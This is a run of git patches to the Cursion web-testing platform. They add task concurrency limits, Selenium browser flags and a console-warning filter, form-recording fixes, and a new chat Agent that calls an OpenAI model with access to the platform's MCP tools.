+                    'status': 'passed' if resp['success'] else 'failed'
+                }]
+            })
+        
+        logger.info('Created new report of page')
+        return None
 
 
 
@@ -2323,9 +2326,10 @@ def case_pre_run_bg(
 
 
 
-@shared_task
+@shared_task(bind=True, base=BaseTaskWithRetry)
 def run_case(
-        caserun_id: str=None, 
+        self,
+        caserun_id: str=None,
         alert_id: str=None,
         flowrun_id: str=None,
         node_index: str=None,
@@ -2344,22 +2348,29 @@ def run_case(
     Returns: None
     """
     
-    # get caserun
-    caserun = CaseRun.objects.get(id=caserun_id)
+    account_id = _get_account_id_from_caserun_id(str(caserun_id)) if caserun_id else None
+    with (account_concurrency_slot(self, account_id=account_id) if account_id else _always_acquired()) as slot:
+        acquired, rank = slot
+        if not acquired:
+            _reschedule_due_to_concurrency(self, rank=rank)
+            return None
 
-    # running caserun
-    Caser(
-        caserun=caserun,
-        flowrun_id=flowrun_id,
-        node_index=node_index
-    ).run()
+        # get caserun
+        caserun = CaseRun.objects.get(id=caserun_id)
 
-    # run alert if requested
-    if alert_id and alert_id != 'None':
-        Alerter(alert_id=alert_id, object_id=str(caserun.id)).run_alert()
+        # running caserun
+        Caser(
+            caserun=caserun,
+            flowrun_id=flowrun_id,
+            node_index=node_index
+        ).run()
 
-    logger.info('Ran CaseRun')
-    return None
+        # run alert if requested
+        if alert_id and alert_id != 'None':
+            Alerter(alert_id=alert_id, object_id=str(caserun.id)).run_alert()
+
+        logger.info('Ran CaseRun')
+        return None
 
 
 

From 7118835adea969c3b9d1d192a0278377bb689b84 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 21 Jan 2026 19:35:05 -0700
Subject: [PATCH 1082/1099] fix: new flags to silence GPU console errors

---
 app/api/utils/driver.py | 40 ++++++++++++++++++++++++++++++++--------
 1 file changed, 32 insertions(+), 8 deletions(-)

diff --git a/app/api/utils/driver.py b/app/api/utils/driver.py
index 87b8c7fb..786cd4d7 100644
--- a/app/api/utils/driver.py
+++ b/app/api/utils/driver.py
@@ -65,15 +65,18 @@ def driver_init(
     # setting broswer options for chrome
     if browser == 'chrome':
         options.add_argument("--no-sandbox")
-        options.add_argument("disable-blink-features=AlertControlled")
+        options.add_argument("--disable-gpu")
+        options.add_argument("--disable-gpu-compositing")
+        options.add_argument("--use-gl=swiftshader")
+        options.add_argument("--disable-blink-features=AutomationControlled")
         options.add_argument("--headless")
         options.add_argument("--disable-dev-shm-usage")
         options.add_argument("--enable-unsafe-swiftshader")
-        options.add_argument("ignore-certificate-errors")
+        options.add_argument("--ignore-certificate-errors")
         options.add_argument("--hide-scrollbars")
         options.add_argument(f"--force-device-scale-factor={str(scale_factor)}")
         options.add_argument(f"--user-agent={user_agent}")
-        options.set_capability("goog:loggingPrefs", {'performance': 'ALL'})
+        options.set_capability("goog:loggingPrefs", {"performance": "ALL"})
         options.page_load_strategy = 'none'
         
         # setting to mobile or tablet if reqeusted
@@ -107,15 +110,18 @@ def driver_init(
     # setting broswer options for edge
     if browser == 'edge':
         options.add_argument("--no-sandbox")
-        options.add_argument("disable-blink-features=AlertControlled")
+        options.add_argument("--disable-gpu")
+        options.add_argument("--disable-gpu-compositing")
+        options.add_argument("--use-gl=swiftshader")
+        options.add_argument("--disable-blink-features=AutomationControlled")
         options.add_argument("--headless")
         options.add_argument("--enable-unsafe-swiftshader")
         options.add_argument("--disable-dev-shm-usage")
-        options.add_argument("ignore-certificate-errors")
+        options.add_argument("--ignore-certificate-errors")
         options.add_argument("--hide-scrollbars")
         options.add_argument(f"--force-device-scale-factor={str(scale_factor)}")
         options.add_argument(f"--user-agent={user_agent}")
-        options.set_capability("goog:loggingPrefs", {'performance': 'ALL'})
+        options.set_capability("goog:loggingPrefs", {"performance": "ALL"})
         options.page_load_strategy = 'none'
         
         # setting to mobile or tablet if reqeusted
@@ -203,9 +209,13 @@ def interact_with_page(driver):
         action.pointer_action.move_to_location(0, 0)
         action.perform()
         # wait for 1s
-        time.sleep(1)
+        time.sleep(0.5)
         action.pointer_action.move_to_location(0, 50)
         action.perform()
+        # wait for 1s
+        time.sleep(0.5)
+        action.pointer_action.move_to_location(0, 0)
+        action.perform()
         return
 
     resolved = False
@@ -284,6 +294,19 @@ def get_data(
         min_wait_time=min_wait_time
     )
 
+    def is_ignorable_warning(log_entry: object) -> bool:
+        ignore_list = [
+            "WebGL", "GL Driver Message", "GPU", "No available adapters",
+        ]
+        try:
+            message = (log_entry or {}).get("message", "")
+        except Exception:
+            return False
+        for i in ignore_list:
+            if i in message:
+                return True
+        return False
+
     # get page_source from browser
     try:
         html = driver.page_source
@@ -294,6 +317,7 @@ def get_data(
     if browser != 'firefox' :
         try:
             logs = driver.get_log('browser')
+            logs = [entry for entry in logs if not is_ignorable_warning(entry)]
         except Exception as e:
             print(e)
 
@@ -332,4 +356,4 @@ def quit_driver(driver: object) -> None:
 
 
 
-    
\ No newline at end of file
+    

From 61f9ed5db66fd0fbf5c30b1c3c7877f7cdd3066b Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sat, 24 Jan 2026 08:34:49 -0700
Subject: [PATCH 1083/1099] fix: relocated `relative_url` capture in
 `record_forms()` for `AutoCaser`

---
 app/api/utils/autocaser.py | 11 ++++-------
 1 file changed, 4 insertions(+), 7 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index d9860df5..85002257 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -406,8 +406,7 @@ def record_new_element(self, elem: object, sub_elements: list) -> dict:
         Returns:
             'sub_elements': [],
             'run': bool,
-            'added': bool,
-        }
+            'added': bool
         """
         # setting defaults
         run = True
@@ -541,6 +540,9 @@ def record_forms(self, elements: list, form: object=None) -> list:
 
             print(f'recording form -> {form_selector}')
 
+            # get relative_url
+            relative_url = self.get_relative_url(self.driver.current_url)
+
             # getting form text
             elem_text = self.get_elem_text(selector=form_selector)
 
@@ -563,7 +565,6 @@ def record_forms(self, elements: list, form: object=None) -> list:
                     value = i.get_attribute('value')
                     type = str(i.get_attribute('type'))
                     img = self.get_element_image(element=i)
-                    relative_url = self.get_relative_url(self.driver.current_url)
 
                     sub_elements.append({
                         'selector': input_selector,
@@ -592,7 +593,6 @@ def record_forms(self, elements: list, form: object=None) -> list:
                     placeholder = i.get_attribute('placeholder')
                     type = str(i.get_attribute('type'))
                     img = self.get_element_image(element=i)
-                    relative_url = self.get_relative_url(self.driver.current_url)
 
                     sub_elements.append({
                         'selector': input_selector,
@@ -618,7 +618,6 @@ def record_forms(self, elements: list, form: object=None) -> list:
                 iframe_selector = self.driver.execute_script(self.selector_script, iframe)
                 iframe_xpath = self.driver.execute_script(self.xpath_script, iframe)
                 iframe_img = self.get_element_image(element=iframe)
-                relative_url = self.get_relative_url(self.driver.current_url)
                 
                 # get all inputs for iframe
                 iframe_inputs = iframe.find_elements(By.TAG_NAME, "input")
@@ -635,7 +634,6 @@ def record_forms(self, elements: list, form: object=None) -> list:
                         value = i.get_attribute('value')
                         type = str(i.get_attribute('type'))
                         img = self.get_element_image(element=i)
-                        relative_url = self.get_relative_url(self.driver.current_url)
 
                         # save internal iframe data
                         iframe_elements.append({
@@ -679,7 +677,6 @@ def record_forms(self, elements: list, form: object=None) -> list:
                     btn_xpath = self.driver.execute_script(self.xpath_script, btn)
                     type = str(btn.get_attribute('type'))
                     btn_img = self.get_element_image(element=btn)
-                    relative_url = self.get_relative_url(self.driver.current_url)
 
                     sub_elements.append({
                         'selector': btn_selector,

From 7e1da09f8f0af6147440f4c778e16f6575e5c985 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 6 Feb 2026 15:24:46 -0700
Subject: [PATCH 1084/1099] routine: docs-string formatting

---
 app/api/utils/updater.py   | 15 ++++++---------
 app/api/v1/ops/services.py | 12 +++---------
 2 files changed, 9 insertions(+), 18 deletions(-)

diff --git a/app/api/utils/updater.py b/app/api/utils/updater.py
index 422397d4..9eca8499 100644
--- a/app/api/utils/updater.py
+++ b/app/api/utils/updater.py
@@ -1,25 +1,22 @@
 from ..models import *
 from django.utils import timezone
-from datetime import datetime
 
 
 
 
 
 
-def update_flowrun(*args, **kwargs) -> object:
+def update_flowrun(**kwargs) -> object:
     """ 
     Updates the `FlowRun`, matching the 'flowrun_id',
     with the **kwargs data
 
     Args:
-        'kwargs' : {
-            'flowrun_id'   : str
-            'node_index'   : int or str,
-            'messsage'     : str,
-            'node_status'  : str,
-            'objects'      : list of dicts
-        }
+        'flowrun_id'   : str
+        'node_index'   : int or str,
+        'messsage'     : str,
+        'node_status'  : str,
+        'objects'      : list of dicts
     
     Returns: `FlowRun` obj
     """
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 7759dc92..e918e01a 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -416,8 +416,7 @@ def create_site(request: object=None) -> object:
     for each added `Page`, and generates new `Cases`. 
 
     Args:
-        request : object, 
-        delay   : bool
+        request : object
     
     Returns:
         HTTP Response object
@@ -435,7 +434,6 @@ def create_site(request: object=None) -> object:
     user = request.user
     member = Member.objects.get(user=user)
     account = member.account
-    sites = Site.objects.filter(account=account)
 
     # updating configs if None:
     configs = account.configs if configs == None else configs
@@ -613,8 +611,7 @@ def get_sites(request: object=None) -> object:
     Get one or more `Sites` in paginated response
 
     Args:
-        'request': object,
-    } 
+        'request': object 
 
     Returns:
         HTTP Response object
@@ -1173,11 +1170,10 @@ def get_pages(request: object=None) -> object:
     # get user and account
     user = request.user
     member = Member.objects.get(user=user)
-    account = member.account
 
     # check for params
     if page_id is None and site_id is None:
-        data = {'reason': 'neet site or page id'}
+        data = {'reason': 'need site_id or page_id'}
         record_api_call(request, data, '400')
         return Response(data, status=status.HTTP_400_BAD_REQUEST)
 
@@ -1776,7 +1772,6 @@ def get_scans(request: object=None) -> object:
     lean = request.query_params.get('lean')
     user = request.user
     member = Member.objects.get(user=user)
-    account = member.account
     
     # deciding on scope
     id = page_id if page_id else scan_id
@@ -2542,7 +2537,6 @@ def get_tests(request: object=None) -> object:
     lean = request.query_params.get('lean')
     user = request.user
     member = Member.objects.get(user=user)
-    account = member.account
     
     # deciding on scope
     id = test_id if test_id else page_id

From a2501eea0bc25206760e1130395712b765e3785a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 11 Mar 2026 16:54:52 -0500
Subject: [PATCH 1085/1099] feat: new `Agent` & `MCP` integration in "beta"

---
 app/api/admin.py                    |   7 +
 app/api/models.py                   |  27 +++-
 app/api/signals.py                  |  38 ++++-
 app/api/utils/agent.py              | 106 ++++++++++++++
 app/api/v1/ops/serializers.py       |  14 ++
 app/api/v1/ops/services.py          | 208 +++++++++++++++++++++++++++-
 app/api/v1/ops/urls.py              |   2 +
 app/api/v1/ops/views.py             |  36 ++++-
 app/cursion/settings.py             |   1 +
 docker-compose.yml                  |  13 +-
 env/.env.local.example              |   1 +
 k8s/prod/app-configs-example.yaml   |   1 +
 setup/requirements/requirements.txt |   2 +-
 13 files changed, 439 insertions(+), 17 deletions(-)
 create mode 100644 app/api/utils/agent.py

diff --git a/app/api/admin.py b/app/api/admin.py
index af728c46..6ef32941 100644
--- a/app/api/admin.py
+++ b/app/api/admin.py
@@ -176,6 +176,13 @@ class LogAdmin(admin.ModelAdmin):
 
 
 
+@admin.register(Chat)
+class ChatAdmin(admin.ModelAdmin):
+    list_display = ('__str__', 'time_created', 'status', 'user')
+
+
+
+
 @admin.register(Schedule)
 class ScheduleAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'time_last_run', 'status', 'user', 'time_created')
diff --git a/app/api/models.py b/app/api/models.py
index 403befe0..2f992a63 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -300,7 +300,8 @@ def get_permissions_default():
         'resources': [
             'site', 'page', 'issue', 'case', 'caserun',
             'flow', 'flowrun', 'test', 'scan', 'schedule', 
-            'alert', 'secret', 'report', 'process', 'log'
+            'alert', 'secret', 'report', 'process', 'log',
+            'chat'
         ], 
         'sites': []
     }
@@ -354,6 +355,13 @@ def get_edges_default():
 
 
 
+def get_messages_default():
+    messages = []
+    return messages
+
+
+
+
 def get_license_key():
     license_key = 'cursion-license-' + secrets.token_hex(32)
     return license_key
@@ -424,7 +432,7 @@ def __str__(self):
 
 
 
-class Secret(models.Model): ### NEW !!!!
+class Secret(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
@@ -677,6 +685,21 @@ def __str__(self):
 
 
 
+class Chat(models.Model): ### NEW !!!!
+    id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
+    time_created = models.DateTimeField(default=timezone.now, serialize=True)
+    user = models.ForeignKey(User, on_delete=models.SET_NULL, serialize=True, null=True, blank=True)
+    account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
+    status = models.CharField(max_length=100, serialize=True, default='active', null=True, blank=True)
+    messages = models.JSONField(serialize=True, null=True, blank=True, default=get_messages_default)
+
+    def __str__(self):
+        return f'{self.id}_chat'
+
+
+
+
+
 class Mask(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
diff --git a/app/api/signals.py b/app/api/signals.py
index b3c4b09b..69246ecd 100644
--- a/app/api/signals.py
+++ b/app/api/signals.py
@@ -1,7 +1,10 @@
+import threading
 from django.db.models.signals import post_save
+from django.db import transaction
 from django.dispatch import receiver
 from .utils.flowr import Flowr
-from .tasks import case_pre_run_bg, run_test
+from .utils.agent import Agent
+from .tasks import case_pre_run_bg
 from .models import *
 from cursion import settings
 
@@ -63,7 +66,38 @@ def case_created(sender, instance, created, **kwargs):
 
     # return None
     return None
-        
+
+
+
+
+def _run_agent_response(chat_id: str) -> None:
+    try:
+        Agent(chat_id=chat_id).respond()
+    except Exception as e:
+        print(f'Error in Agent response: {e}')
+
+
+@receiver(post_save, sender=Chat)
+def chat_updated(sender, instance, created, **kwargs):
+    
+    # defing instance as new chat
+    chat = instance
+
+    # check if latest message is sent by user
+    if len(chat.messages) > 0:
+        if chat.messages[-1].get('author') == 'user':
+            
+            # trigger agent asynchronously after transaction commit
+            transaction.on_commit(
+                lambda: threading.Thread(
+                    target=_run_agent_response,
+                    args=(str(chat.id),),
+                    daemon=True
+                ).start()
+            )
+    
+    # return None
+    return None
 
 
 
diff --git a/app/api/utils/agent.py b/app/api/utils/agent.py
new file mode 100644
index 00000000..ef2b858b
--- /dev/null
+++ b/app/api/utils/agent.py
@@ -0,0 +1,106 @@
+from rest_framework.authtoken.models import Token
+from django.utils import timezone
+from ..models import Chat
+from cursion import settings
+from openai import OpenAI
+
+
+
+
+
+
+class Agent():
+    """ 
+    Generate new respones for the passed 'Chat'.
+
+    Args:
+        'chat_id': str
+
+    Use `Agent.respond()` to generate a response to the 
+    latest `chat.message`
+
+    Returns:
+        None
+    """
+
+
+    def __init__(self, chat_id: str=None) -> None:
+        self.chat = Chat.objects.get(id=chat_id)
+        self.llm = OpenAI(api_key=settings.GPT_API_KEY)
+
+
+
+
+    def respond(self) -> object:
+        """
+        Using the latest entry in `chat.message`, and chat 
+        history sends a request to the self.llm and 
+        appends the response to chat.message.
+
+        Args:
+            None
+        
+        Returns:
+            None
+        """
+
+        # get user's token
+        token_obj = Token.objects.get(user=self.chat.user) if self.chat else None
+
+        # format chat history
+        history_parts = []
+
+        # iterate through each message and build chat context
+        for m in self.chat.messages:
+            author = m.get('author') or m.get('user')
+            role = 'assistant' if author == 'agent' else 'user'
+            text = m.get('text', '').strip()
+            name = 'Agent' if author == 'agent' else self.chat.user.first_name
+            history_parts.append(f'[{role.upper()} — {name}]\n{text}')
+
+        # concat into string
+        chat_history = '\n\n'.join(history_parts)
+        
+        # full prompt
+        input_string = (
+            'BACKGROUND CONTEXT:\n'
+            'You are a Software Quality Assurance Engineer.\n'
+            'Please reference https://docs.cursion.dev for documentation about the Cursion Platform.\n'
+            'If necessary, call Cursion MCP tools to complete the task.\n'
+            'If responding with `Site`, `Page`, `Scan`, `Test`, `Case`, `CaseRun`, `Flow`, or `FlowRun` objects, ' 
+            'include their URL formatted like so: '
+            f'"{settings.CLIENT_URL_ROOT}/<object>/<object_id>"\n'
+            '\n\n'
+            f'CHAT HISTORY:\n{chat_history}'
+        )
+
+        # build mcp url
+        mcp_base = (settings.MCP_URL_ROOT or '').rstrip('/')
+        mcp_url = mcp_base if mcp_base.endswith('/sse') else f'{mcp_base}/sse'
+
+        # call llm
+        response = self.llm.responses.create(
+            model='gpt-5-mini',
+            input=input_string,
+            tools=[{
+                'type': 'mcp',
+                'server_label': 'cursion-mcp',
+                'server_url': mcp_url,
+                'require_approval': 'never',
+                'authorization': f'Token {token_obj.key}'
+            }]
+        )
+
+        # add response message
+        messages = self.chat.messages
+        messages.append({
+            'author': 'agent', 
+            'time_created': str(timezone.now()),
+            'text': response.output_text
+        })
+        self.chat.messages = messages
+        self.chat.save()
+
+        # return updated chat
+        return self.chat
+    
diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py
index 609b431e..d7fece87 100644
--- a/app/api/v1/ops/serializers.py
+++ b/app/api/v1/ops/serializers.py
@@ -55,6 +55,20 @@ class Meta:
 
 
 
+class ChatSerializer(serializers.HyperlinkedModelSerializer):
+    id = serializers.PrimaryKeyRelatedField(**kwargs)
+    user = serializers.ReadOnlyField(source='user.username')
+    account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs)
+    
+    class Meta:
+        model = Chat
+        fields = ['id', 'user', 'account', 'time_created', 
+        'status', 'messages'
+        ]
+
+
+
+
 class SiteSerializer(serializers.HyperlinkedModelSerializer):
     user = serializers.ReadOnlyField(source='user.username')
     id = serializers.PrimaryKeyRelatedField(**kwargs)
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index e918e01a..9c153914 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -201,7 +201,7 @@ def check_permissions_and_usage(
     _status = status.HTTP_403_FORBIDDEN
 
     # ignore site assoc checks on these resorces
-    ignore_list = ['alert', 'schedule', 'log', 'process', 'flow', 'secret']
+    ignore_list = ['alert', 'schedule', 'log', 'process', 'flow', 'secret', 'chat']
     
     # check usage on these resources
     usage_list = ['site', 'schedule', 'caserun', 'flowrun', 'scan', 'test']
@@ -626,7 +626,7 @@ def get_sites(request: object=None) -> object:
     account = member.account
 
     # check if site_id was passed
-    if site_id != None:
+    if site_id:
 
         # check account and resource
         check_data = check_permissions_and_usage(
@@ -6981,6 +6981,210 @@ def delete_secret(request: object=None, id: str=None, user: object=None) -> obje
 
 
 
+### ------ Begin Secret Services ------ ###
+
+
+
+
+def create_or_update_chat(request: object=None) -> object:
+    """ 
+    Creates or Updates a `Chat`
+
+    Args:
+        'request': object
+    
+    Returns:
+        HTTP Response object
+    """
+    
+    # get request data
+    chat_id = request.data.get('chat_id')
+    messages = request.data.get('messages')
+    _status = request.data.get('value')
+    action = 'update' if chat_id else 'add'
+    
+    # get user & account
+    user = request.user
+    member = Member.objects.get(user=user)
+    account = member.account
+    
+    # checking account and resource 
+    check_data = check_permissions_and_usage(
+        member=member, resource='chat', 
+        action=action, id=chat_id, id_type='chat'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error']}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # update chat
+    if chat_id:
+        
+        # get chat 
+        chat = Chat.objects.get(id=chat_id)
+
+        # update with new values
+        if messages:
+            chat.messages = messages
+        if _status:
+            chat.status = _status
+        chat.save()
+    
+    # create new chat
+    if not chat_id:
+        chat = Chat.objects.create(
+            account=account,
+            user=user,
+            status='active',
+            messages=messages if messages else []
+        )
+
+    # serialize and return
+    serialized = ChatSerializer(chat, context={'request': request})
+    record_api_call(request, serialized.data, '200')
+    return Response(serialized.data, status=status.HTTP_200_OK)
+
+
+
+
+def get_chats(request: object=None) -> object:
+    """ 
+    Get one or more `Chats`.
+
+    Args:
+        'request': object
+    
+    Returns:
+        HTTP Response object
+    """
+    
+    # get request data
+    chat_id = request.query_params.get('chat_id')
+    _status = request.query_params.get('status', 'active')
+
+    # get user and account
+    user = request.user
+    member = Member.objects.get(user=user)
+
+    # checking account and resource 
+    check_data = check_permissions_and_usage(
+        member=member, resource='chat', 
+        action='get', id=chat_id, id_type='chat'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error']}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get single chat
+    if chat_id:        
+
+        # get chat
+        chat = Chat.objects.get(id=chat_id)
+
+        # serialize and return
+        serialized = ChatSerializer(chat, context={'request': request})
+        record_api_call(request, serialized.data, '200')
+        return Response(data, status=status.HTTP_200_OK)
+    
+    # get chats scoped to user & status
+    chats = Chat.objects.filter(user=user, status=_status).order_by('-time_created')
+
+    # serialize and return
+    paginator = LimitOffsetPagination()
+    result_page = paginator.paginate_queryset(chats, request)
+    serialized = ChatSerializer(result_page, many=True, context={'request': request})
+    response = paginator.get_paginated_response(serialized.data)
+    record_api_call(request, response.data, '200')
+    return response
+
+
+
+
+def get_chat(request: object=None, id: str=None) -> object:
+    """
+    Get single `Chat` from the passed "id"
+
+    Args:
+        'request' : object,
+        'id'      : str 
+    
+    Returns:
+        HTTP Response object
+    """
+
+    # get user and account
+    user = request.user
+    member = Member.objects.get(user=user)
+
+    # check account and resource
+    check_data = check_permissions_and_usage(
+        member=member, resource='chat', 
+        action='get', id=id, id_type='chat'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error']}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get secrets if checks passed
+    chat = Chat.objects.get(id=id)
+        
+    # serialize and return
+    serialized = ChatSerializer(chat, context={'request': request})
+    record_api_call(request, serialized.data, '200')
+    return Response(serialized.data, status=status.HTTP_200_OK)
+
+
+
+
+def delete_chat(request: object=None, id: str=None, user: object=None) -> object:
+    """ 
+    Deletes the `Chat` associated with the passed "id" 
+
+    Args:
+        'request' : object,
+        'id'      : str,
+        'user'    : object
+    
+    Returns:
+        HTTP Response object
+    """
+
+    # get user and account info
+    user = request.user if request else user
+    member = Member.objects.get(user=user)
+
+    # checking account and resource 
+    check_data = check_permissions_and_usage(
+        member=member, resource='chat', 
+        action='delete', id=id, id_type='chat'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error']}
+        if request:
+            record_api_call(request, data, check_data['code'])
+            return Response(data, status=check_data['status'])
+        return data
+
+    # get chat if checks passed
+    chat = Chat.objects.get(id=id)
+
+    # delete secret
+    chat.delete()
+
+    # return response
+    data = {'message': 'Chat deleted'}
+    if request:
+        record_api_call(request, data, '200')
+        response = Response(data, status=status.HTTP_200_OK)
+        return response
+    return data
+
+
+
+
 ### ------ Begin Process Services ------ ###
 
 
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index 4ccd6f06..1bfd1fac 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -66,6 +66,8 @@
     path('secret', views.Secrets.as_view(), name='secret'),
     path('secret/<uuid:id>', views.SecretDetail.as_view(), name='secret-detail'),
     path('secrets', views.SecretsAll.as_view(), name='secrets-all'),
+    path('chat', views.Chats.as_view(), name='chat'),
+    path('chat/<uuid:id>', views.ChatDetail.as_view(), name='chat-detail'),
     path('log', views.Logs.as_view(), name='log'),
     path('log/<uuid:id>', views.LogDetail.as_view(), name='log-detail'),
     path('search', views.Search.as_view(), name='search'),
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index ca488bee..a9a9c7d3 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -869,7 +869,6 @@ def delete(self, request, id):
 
 
 
-
 class SecretsAll(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get']
@@ -881,6 +880,41 @@ def get(self, request):
 
 
 
+### ------ Begin Chat Views ------ ###
+
+
+
+
+class Chats(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['post', 'get']
+
+    def post(self, request):
+        response = create_or_update_chat(request)        
+        return response
+    
+    def get(self, request):
+        response = get_chats(request)
+        return response
+
+
+
+
+class ChatDetail(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['get', 'delete']
+
+    def get(self, request, id):
+        response = get_chat(request, id)
+        return response
+
+    def delete(self, request, id):
+        response = delete_chat(request, id)        
+        return response
+
+
+
+
 ### ------ Begin Log Views ------ ###
 
 
diff --git a/app/cursion/settings.py b/app/cursion/settings.py
index 0765ac26..dc9f9588 100644
--- a/app/cursion/settings.py
+++ b/app/cursion/settings.py
@@ -43,6 +43,7 @@
 CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT')
 LANDING_URL_ROOT = os.environ.get('LANDING_URL_ROOT')
 API_URL_ROOT = os.environ.get('API_URL_ROOT')
+MCP_URL_ROOT = os.environ.get('MCP_URL_ROOT')
 YELLOWLAB_ROOT = os.environ.get('YELLOWLAB_ROOT')
 LIGHTHOUSE_ROOT = os.environ.get('LIGHTHOUSE_ROOT')
 LOCATION = os.environ.get('LOCATION')
diff --git a/docker-compose.yml b/docker-compose.yml
index 7b47d657..7931883b 100644
--- a/docker-compose.yml
+++ b/docker-compose.yml
@@ -9,6 +9,7 @@ services:
     privileged: true
     restart: no
     init: true
+    image: cursion-app:local
     build:
       context: .
       dockerfile: Dockerfile
@@ -47,9 +48,7 @@ services:
     platform: linux/amd64
     privileged: true
     restart: no
-    build:
-      context: .
-      dockerfile: Dockerfile
+    image: cursion-app:local
     entrypoint: ["/entrypoint.sh", "celery", "scheduled"]
     volumes:
       - celery:/app
@@ -66,9 +65,7 @@ services:
     platform: linux/amd64
     privileged: true
     restart: no
-    build:
-      context: .
-      dockerfile: Dockerfile
+    image: cursion-app:local
     entrypoint: ["/entrypoint.sh", "celery", "on_demand"]
     volumes:
       - celery:/app
@@ -86,9 +83,7 @@ services:
     platform: linux/amd64
     privileged: true
     restart: no
-    build:
-      context: .
-      dockerfile: Dockerfile
+    image: cursion-app:local
     entrypoint: ["/entrypoint.sh", "beat"]
     volumes:
       - beat:/app
diff --git a/env/.env.local.example b/env/.env.local.example
index 2e5621eb..f9668fe9 100644
--- a/env/.env.local.example
+++ b/env/.env.local.example
@@ -7,6 +7,7 @@ MODE=local
 LANDING_URL_ROOT=https://cursion.dev
 CLIENT_URL_ROOT=https://app.example.com       # example
 API_URL_ROOT=https://api.example.com          # example
+MCP_URL_ROOT=https://mcp.example.com          # example
 YELLOWLAB_ROOT=http://yellowlab:8383          # example
 LIGHTHOUSE_ROOT=https://www.googleapis.com/pagespeedonline/v5/runPagespeed
 
diff --git a/k8s/prod/app-configs-example.yaml b/k8s/prod/app-configs-example.yaml
index b856613b..e6f23e2f 100644
--- a/k8s/prod/app-configs-example.yaml
+++ b/k8s/prod/app-configs-example.yaml
@@ -7,6 +7,7 @@ data:
   SECRET_KEY : "ask-for-this-or-generate-yourself"
   CLIENT_URL_ROOT : "https://app.yourdomain.com"
   API_URL_ROOT : "https://api.yourdomain.com"  
+  MCP_URL_ROOT : "https://mcp.yourdomain.com"  
   YELLOWLAB_ROOT : "http://ylt-service"
   LIGHTHOUSE_ROOT : "https://www.googleapis.com/pagespeedonline/v5/runPagespeed"
   LANDING_API_KEY : ""
diff --git a/setup/requirements/requirements.txt b/setup/requirements/requirements.txt
index 5eaf29e4..709df463 100644
--- a/setup/requirements/requirements.txt
+++ b/setup/requirements/requirements.txt
@@ -27,7 +27,7 @@ imutils==0.5.4
 kombu==5.3.7
 Markdown==3.6
 numpy~=1.26.4
-openai==1.57.0
+openai==2.8.1
 opencv-python==4.5.5.64
 Pillow==10.3.0
 prometheus-client==0.8.0

From e55d2324c2ec39e80e71a245d0e1ac3bc58bad26 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 11 Mar 2026 20:10:53 -0500
Subject: [PATCH 1086/1099] fix: adding `setuptools` in requirements to fix
 prod gunicorn error

---
 setup/requirements/requirements.txt | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/requirements/requirements.txt b/setup/requirements/requirements.txt
index 709df463..96a53ac8 100644
--- a/setup/requirements/requirements.txt
+++ b/setup/requirements/requirements.txt
@@ -43,6 +43,7 @@ scikit-image==0.23.2
 scipy==1.13.0
 selenium==4.36.0
 sendgrid==6.9.7
+setuptools==75.1.0
 six==1.16.0
 slack-sdk==3.11.2
 sqlparse==0.4.1
@@ -58,4 +59,3 @@ whitenoise==6.1.0
 
 
 
-

From e4f630203a09428a4351e4359f21c540b4c71c7e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 12 Mar 2026 12:00:59 -0500
Subject: [PATCH 1087/1099] routine: cleaning up spacing

---
 app/api/models.py | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/app/api/models.py b/app/api/models.py
index 2f992a63..fd0397ad 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -392,7 +392,6 @@ class Account(models.Model):
     info = models.JSONField(serialize=True, null=True, blank=True, default=get_account_info_default)
     meta = models.JSONField(serialize=True, null=True, blank=True, default=get_meta_default)
    
-
     def __str__(self):
         return self.user.email
 
@@ -526,7 +525,6 @@ class Test(models.Model):
     post_scan_configs = models.JSONField(serialize=True, null=True, blank=True)
     system = models.JSONField(serialize=True, null=True, blank=True, default=get_system_default)
 
-
     def __str__(self):
